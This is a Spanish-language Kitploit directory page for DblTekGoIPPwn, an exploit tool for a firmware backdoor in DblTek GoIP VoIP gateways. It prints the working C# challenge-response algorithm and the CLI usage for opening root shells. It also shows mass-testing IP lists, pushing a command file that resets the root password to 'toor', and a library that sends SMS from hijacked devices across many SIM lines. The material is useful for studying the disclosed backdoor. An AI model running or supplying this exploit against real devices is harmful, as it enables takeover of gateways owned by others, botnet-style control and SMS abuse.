Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DblTekGoIPPwn — Herramienta para verificar si una IP de un DblTek GoIP es vulnerable a un sistema de inicio de sesión de desafío-respuesta, enviar mensajes SMS desde el sistema, ejecutar comandos remotos al estilo botnet y generar respuestas a desafíos. | Kitploit
Herramientas/GitHubGitHub/jacobmisirian/dbltekgoippwn
Escáneres de VulnerabilidadesExplotaciónPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubjacobmisirian/dbltekgoippwn

DblTekGoIPPwn

Herramienta para verificar si una IP de un DblTek GoIP es vulnerable a un sistema de inicio de sesión de desafío-respuesta, enviar mensajes SMS desde el sistema, ejecutar comandos remotos al estilo botnet y generar respuestas a desafíos.

Ver Repositorio
64265hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DblTekGoIPPwn

Herramienta para explotar el sistema de desafío-respuesta en dispositivos DblTek GoIP vulnerables. Puede generar respuestas a desafíos específicos, probar hosts para la vulnerabilidad, ejecutar comandos en hosts vulnerables, enviar mensajes SMS desde un host y acceder a un shell root en cualquier host vulnerable.

La Vulnerabilidad

El 2 de marzo de 2017, Trustwave publicó una vulnerabilidad que investigadores de seguridad encontraron en el teléfono VoIP DblTek GoIP. La vulnerabilidad era una puerta trasera en el firmware para una cuenta llamada 'dbladm'. Cuando un usuario ingresaba esto como nombre de usuario en un prompt de telnet, el sistema presentaba un desafío que, al ser respondido correctamente, otorgaba al usuario un shell root en el sistema.

El problema con un sistema de desafío-respuesta como este es que los dispositivos son tan seguros como el algoritmo para generar las respuestas, el cual fue sometido a ingeniería inversa a partir de binarios de firmware proporcionados por DblTek. Usando este algoritmo, se puede obtener un shell root en CUALQUIER dispositivo DblTek GoIP.

Artículo original: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/

Usando la descripción de la puerta trasera proporcionada en el artículo, pude escribir lo que creo que es uno de los primeros códigos de explotación para esta vulnerabilidad. El núcleo de esto es, por supuesto, el algoritmo para generar la respuesta basada en un desafío dado. Aquí hay una función para hacer esto escrita en C#.

root@kitploit:~
static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

    byte[] buffer = new byte[64];
    // Copy the string into the first part of the buffer.
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

    StringBuilder sb = new StringBuilder(); // Will hold the results.
    // Take the unpadded hex value of the first six bytes of the MD5.
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // Profit
}

Interfaz de Línea de Comandos (CLI) de DblTekGoIPPwn

Cuando DblTekPwn se ejecuta sin argumentos, se muestra la ayuda. Esta es la salida:

root@kitploit:~
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         Computes a response to the given challenge.
-r --root-shell                           Starts a root shell with the vulnerable host.
-s --send-commands    [COMMAND_FILE]      Sends commands from a file to vulnerable hosts.
-t --test                                 Tests hosts and determines if they are vulnerable.
-h --help                                 Displays this help and exits.

[HOSTS]:
-n --name             [IP]                Specifies a single IP address.
-f --file             [IP_FILE]           Specifies a file with IP\nIP\nIP.

[OUTPUT]:
-o --output           [OUTPUT_FILE]       Specifies an output file. Default stdin.

Ejemplos

Obtener un Shell Root en un Sistema Vulnerable

DblTekGoIPPwn facilita la obtención de un shell root en cualquier sistema vulnerable. Simplemente ejecute el siguiente comando usando la IP vulnerable.

root@kitploit:~
DblTekPwn.exe --root-shell --name 192.168.1.1

Verá una salida similar a esta:

root@kitploit:~
Password: ***********

Desde aquí puede comenzar a ingresar comandos (no hay prompt de shell).

Calcular una Respuesta a un Desafío

Supongamos que desea calcular la respuesta a un desafío GoIP N1746203308. Simplemente ejecute el siguiente comando.

root@kitploit:~
DblTekPwn --compute-response N1746203308

La salida será la respuesta:

root@kitploit:~
d6176d3aab2

Verificar una Lista de IPs

Supongamos que desea verificar list.txt de IPs para encontrar GoIPs vulnerables y enviar esta salida a results.txt. Primero asegúrese de que las IPs estén en el formato ip:puerto (el puerto por defecto es 23) y que las IPs estén separadas por un salto de línea \n. Luego se puede ejecutar el siguiente comando.

root@kitploit:~
DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

El False o True después del host indica si la IP es vulnerable o no.

Enviar Comandos a una Lista de IPs

Supongamos que tiene una lista de comandos (que en realidad es una lista de entradas telnet) en cmds.txt para enviar a list.txt de IPs y enviar la salida a results.txt. Primero asegúrese de que las IPs estén en el formato ip:puerto (el puerto por defecto es 23) y que TANTO las IPs como los comandos estén separados por un salto de línea \n en sus respectivos archivos. Luego se puede ejecutar el siguiente comando.

root@kitploit:~
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

root@kitploit:~
passwd root
toor
toor

exit

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

El False o True después del host indica si la conexión se realizó con éxito y los comandos fueron entregados.

Uso de la Librería DblTekPwn.SMS

El código en este repositorio de GitHub proporciona una abstracción para enviar mensajes SMS (texto) desde un GoIP hackeado. Para usar este código, incluya DblTekPwn.exe en su aplicación y agregue la siguiente declaración using.

root@kitploit:~
using DblTekPwn.SMS

Ahora en su código puede usar el método estático SmsSender.SendSms. Aquí hay algunos ejemplos.

Enviar un SMS Desde un Número Único a un Número Único

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);

Enviar SMS Desde Múltiples Números a un Número Único

La mayoría de los GoIPs tienen hasta 32 tarjetas SIM integradas, lo que permite al atacante enviar mensajes SMS desde todas estas líneas.

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);

Enviar SMS Desde Múltiples Números a Múltiples Números

root@kitploit:~
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
Descargar herramienta